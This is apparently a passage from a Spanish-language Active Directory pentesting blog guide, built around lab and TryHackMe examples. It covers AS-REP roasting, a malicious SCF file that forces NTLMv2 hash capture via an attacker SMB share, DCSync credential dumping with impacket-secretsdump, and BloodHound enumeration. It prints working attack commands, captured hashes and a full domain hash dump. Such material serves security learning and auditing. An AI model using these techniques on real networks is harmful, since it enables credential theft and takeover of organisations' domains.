[*] Building AS-REQ (w/o preauth) for: 'waidroc.local\mrincognito'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$mrincognito@waidroc.local:57F0D065B280E399D0B60C088D2EC546$8982D5AEA3582
      9651543BFD969A339CE0EF7BC17B3217CFFB27531E6DC514379CD896023D2D884113CFF20CB5720D
      2D82D51FC5D4426FF56905BB2C1197C6BF7FB7B45CA4ADA7191A1BB97D8622F02AF7DACBC5F73DA4
      10156D73733EE8420861B44732FCB2DD8BC40281242C3F8B8E48AC1A96E8ABFD074BA21432191CC1
      D3DC37F3F637B422BB19FC9B9712E530A1168CB2C1BC8E66987B0AF8235D5E768AFE15D095ECC3B8
      4AEFD294D8F6BBDA0A3D14BD00CB74722698989759E94933D3253896A6A9AFF6641893E73B35BCC7
      8EE90C69587B8D7F1924C4FCFFD28A8B3BEF45C5E08DD603FEB434233594E9A5A31

PS C:\Windows\Temp> 

Como siempre, podemos copiar el hash que nos ha volcado e intentamos crackearlo.

SCF Files


Un archivo SCF, también conocido como “Shell Command File” (Archivo de Comando de Shell), es un formato de archivo utilizado en sistemas operativos Windows. Está asociado principalmente con el Shell del Explorador de Windows, que proporciona la interfaz gráfica de usuario (GUI) para interactuar con archivos, carpetas y operaciones del sistema.

Un archivo SCF es un archivo de texto que contiene una serie de comandos que se ejecutan cuando el archivo se abre o se accede. Estos comandos pueden incluir diversas acciones, como el lanzamiento de aplicaciones, la ejecución de scripts o la realización de operaciones del sistema.

En el contexto de Windows, los archivos SCF se utilizan típicamente con fines de personalización y automatización. Los usuarios pueden crear archivos SCF para realizar tareas específicas o automatizar acciones repetitivas. Por ejemplo, un archivo SCF puede contener comandos para abrir carpetas específicas, lanzar aplicaciones con configuraciones predefinidas o realizar configuraciones del sistema.

No se debe confundir con la utilidad de Windows SFC (System File Checker), la cual sirve para verificar y reparar archivos del sistema operativo dañados.

Prueba de Conceptos (PoC)


Inicialmente, listamos los recursos compartidos:

1
2
3
4
5
6
7
8
9
10
11
12
❯ smbclient -U "waidroc.local\usuario%Password2" -L 192.168.10.115 -smb2support
Can't load mb2support - run testparm to debug it

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	sharedFiles     Disk      
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Podemos ver un directorio compartido llamado sharedFiles. Vamos a intentar conectarnos a él:

1
2
3
4
5
6
7
8
9
❯ smbclient -U "waidroc.local\usuario%Password2" //192.168.10.115/sharedFiles -smb2support
Can't load mb2support - run testparm to debug it
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri May 26 19:51:31 2023
  ..                                  D        0  Fri May 26 19:51:31 2023

		6412543 blocks of size 4096. 3320085 blocks available
smb: \> 

Vamos a crear un fichero malicioso .scf:

[Shell]
Command=2
IconFile=\\192.168.0.106\smbFolder\pwned.ico
[Taskbar]
Command=ToggleDesktop

¿Qué hemos hecho en el paso anterior? Pues la idea principal es que hemos creado un icono malicioso del explorador de archivos para envenenar el legítimo de la máquina víctima.

Subamos el fichero malicioso!

1
2
3
4
5
6
❯ smbclient -U "waidroc.local\usuario%Password2" //192.168.10.115/sharedFiles -smb2support
Can't load mb2support - run testparm to debug it
Try "help" to get a list of possible commands.
smb: \> put malicious.scf
putting file malicious.scf as \malicious.scf (4,0 kb/s) (average 4,0 kb/s)
smb: \> 

El siguiente paso es crear un smbserver:

1
2
3
4
5
6
7
8
9
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora, con el simple hecho de abrir la carpeta, conseguiremos el hash y, si chequeamos nuestro smbserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.10.115,63205)
[*] AUTHENTICATE_MESSAGE (waidroc\Administrator,W2-PC)
[*] User W2-PC\Administrator authenticated successfully
[*] Administrator::waidroc:aaaaaaaaaaaaaaaa:097ff8a9b690c463a3636d8c53289a61:010100000000000000a698770190d90139193d5220a2574d000000000100100069004e006b005a006b006600410042000300100069004e006b005a006b00660041004200020010007300730077006100540061004700660004001000730073007700610054006100470066000700080000a698770190d9010600040002000000080030003000000000000000000000000030000046be996912bf6901dd6f86966b3f47fca11563713e8fd03716b4c96ab691f1ff0a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0030002e003100300036000000000000000000
[*] Closing down connection (192.168.10.115,63205)
[*] Remaining connections []

Hemos conseguido el hash NTLMv2 del usuario!

Como siempre, intentamos crackearlo con alguna herramienta de fuerza bruta.

Secretsdump


Para explicar esta técnica/concepto, vamos a coger como ejemplo la última parte de la resolución de la máquina Attacktive Directory de TryHackMe:

Con bloodhound conseguimos esta información, la cual es bastante interesante:

BLOODHOUND

Con este privilegio, podremos ser capaces de extraer todos los hashes de todos los usuarios del DC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
❯ impacket-secretsdump spookysec.local/backup:backup2517860@10.10.128.202
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:0bf31d7054b52845b517504a3f43006a:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:940809a7ef7eea6a2cee204215f64db44f858c91498c925aba8538d05da88cbd
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:d5557947610c7386479ea2a67243d8fa
ATTACKTIVEDIREC$:des-cbc-md5:ef766eea733d975d

¿Qué está pasando?


Esto se debe a los derechos de DCSync, como podemos ver en esta captura de pantalla, el usuario backup tiene derechos directos de DCSync en el Controlador de Dominio, por lo que esa es la razón principal por la que podemos explotarlo con secretsdump.py.

BLOODHOUND2

¿Cómo funciona?


impacket-secretsdump.py es una herramienta que está incluida en Impacket Python Library, que es usada para extraer y volcar credenciales almacenadas en un DC. Esta herramienta explota debilidades en los protocolos de autenticación y almacenamiento de contraseñas utilizados en sistemas Windows.

Cuando ejecutas impacket-secretsdump.py, necesitas proporcionar las credenciales necesarias para autenticarte en el controlador de dominio de Windows. Una vez autenticado, la herramienta recopila información sobre cuentas de usuario y credenciales almacenadas en el controlador de dominio.

A continuación, la herramienta utiliza varias técnicas para extraer las credenciales almacenadas en el controlador de dominio. Estas técnicas incluyen volcar las contraseñas almacenadas en el archivo de base de datos del Administrador de Cuentas de Seguridad (SAM) (NTDS.dit), recuperar contraseñas en texto plano almacenadas en la Autoridad de Seguridad Local (LSA) y extraer hashes almacenados en archivos de volcado de memoria (si se proporcionan).

Una vez que se han extraído las credenciales, impacket-secretsdump.py las presenta en un formato legible. Esto incluye nombres de usuario, hashes de contraseñas y otra información relacionada con las cuentas de usuario y las credenciales almacenadas en el controlador de dominio.

BloodHound & neo4j


Para ver toda la información del Controlador de Dominio de manera clara, vamos a utilizar BloodHound y Neo4j. Puedes instalar estas herramientas, en sistemas basados en Debian, ejecutando apt install bloodhound neo4j.

Uso


Primero, iniciamos neo4j:

NEO4J

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ neo4j console
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-05-26 18:51:26.582+0000 INFO  Starting...
2023-05-26 18:51:27.178+0000 INFO  This instance is ServerId{c41028bc} (c41028bc-cbe5-43c0-b7e2-f385765cee37)
2023-05-26 18:51:28.689+0000 INFO  ======== Neo4j 4.4.16 ========
2023-05-26 18:51:31.632+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2023-05-26 18:51:31.652+0000 INFO  Setting up initial user from defaults: neo4j
2023-05-26 18:51:31.654+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2023-05-26 18:51:31.725+0000 INFO  Setting version for 'security-users' to 3
2023-05-26 18:51:31.740+0000 INFO  After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2023-05-26 18:51:31.769+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-05-26 18:51:32.304+0000 INFO  Bolt enabled on localhost:7687.
2023-05-26 18:51:33.722+0000 INFO  Remote interface available at http://localhost:7474/
2023-05-26 18:51:33.727+0000 INFO  id: C94AC294EDBF9F6030AEED4120BDA65989713EEA735AC7E31718A2EEA25CD947
2023-05-26 18:51:33.727+0000 INFO  name: system
2023-05-26 18:51:33.728+0000 INFO  creationDate: 2023-05-26T18:51:29.548Z
2023-05-26 18:51:33.728+0000 INFO  Started.

Por otro lado, iniciamos bloodhound:

BLOODHOUNDL

1
2
3
4
❯ bloodhound &>/dev/null &
[1] 522090

❯ disown

Las credenciales por defecto de neo4j son neo4j:neo4j:

Esta herramienta te permitirá crear un esquema del Controlador de Dominio. Para hacer que BloodHound muestre la información, necesitarás cargar un archivo zip. Existe un recurso llamado SharpHound. Utilizaremos esto para obtener el archivo zip. Para ello, ejecutaremos la herramienta bloodhound.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ python3 bloodhound.py -u Administrator -p 'P4$$W0rd!!!#' -d waidroc.local -ns 192.168.10.115 -c all --zip
INFO: Found AD domain: waidroc.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: W2-PC.waidroc.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: W2-PC.waidroc.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 8 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 22 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: W1-PC.waidroc.local
INFO: Querying computer: W3-PC.waidroc.local
INFO: Querying computer: W2-PC.waidroc.local
WARNING: Failed to get service ticket for W1-PC.waidroc.local, falling back to NTLM auth
WARNING: Failed to get service ticket for W2-PC.waidroc.local, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
CRITICAL: CCache file is not found. Skipping...
WARNING: Failed to get service ticket for W3-PC.waidroc.local, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: [Errno Connection error (W2-PC.waidroc.local:88)] [Errno -2] Name or service not known
WARNING: DCE/RPC connection failed: [Errno Connection error (W2-PC.waidroc.local:88)] [Errno -2] Name or service not known
WARNING: DCE/RPC connection failed: [Errno Connection error (W2-PC.waidroc.local:88)] [Errno -2] Name or service not known
INFO: Done in 00M 03S
INFO: Compressing output into 20230526213904_bloodhound.zip

Ahora, desde bloodhound vamos a subir el fichero .zip y, en Analysis, podremos ver toda la información de manera más clara.

Conclusiones

AD está muy extendido en las organizaciones, sobretodo en pequeñas y medianas empresas y es de vital importancia realizar auditorías periódicamente para evitar ataques que conllevarán futuros inconvenientes.

Personalmente, el pentesting de Active Directory no es lo que más me llama la atención en el mundo de la Ciberseguridad pero, se aprende un montón de conceptos y metodologías que pueden servirte para realizar otro tipo de auditorías, al ser tan “tedioso” y complejo.

Aquí solo hay algunos de los ataques que pueden realizarse, los he intentado explicar de la mejor manera posible, aplicando ejemplos en un entorno controlado. Más adelante iré añadiendo en este mismi post nuevas técnicas y ataques, sirviendo así éste como una guía para realizar auditorías en AD.

Sobre cualquier error, sugerencia o duda, podéis contactarme en cualquier Red Social que os haya proporcionado en el blog. ¡¡Espero que os haya gustado!!

Muchas gracías por leer, Waidroc :)

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

La importancia de la concienciación de los usuarios en la ciberseguridad empresarial. Simulacro de Ransomware

Canarytokens - Detección sencilla y eficaz

Comments powered by Disqus.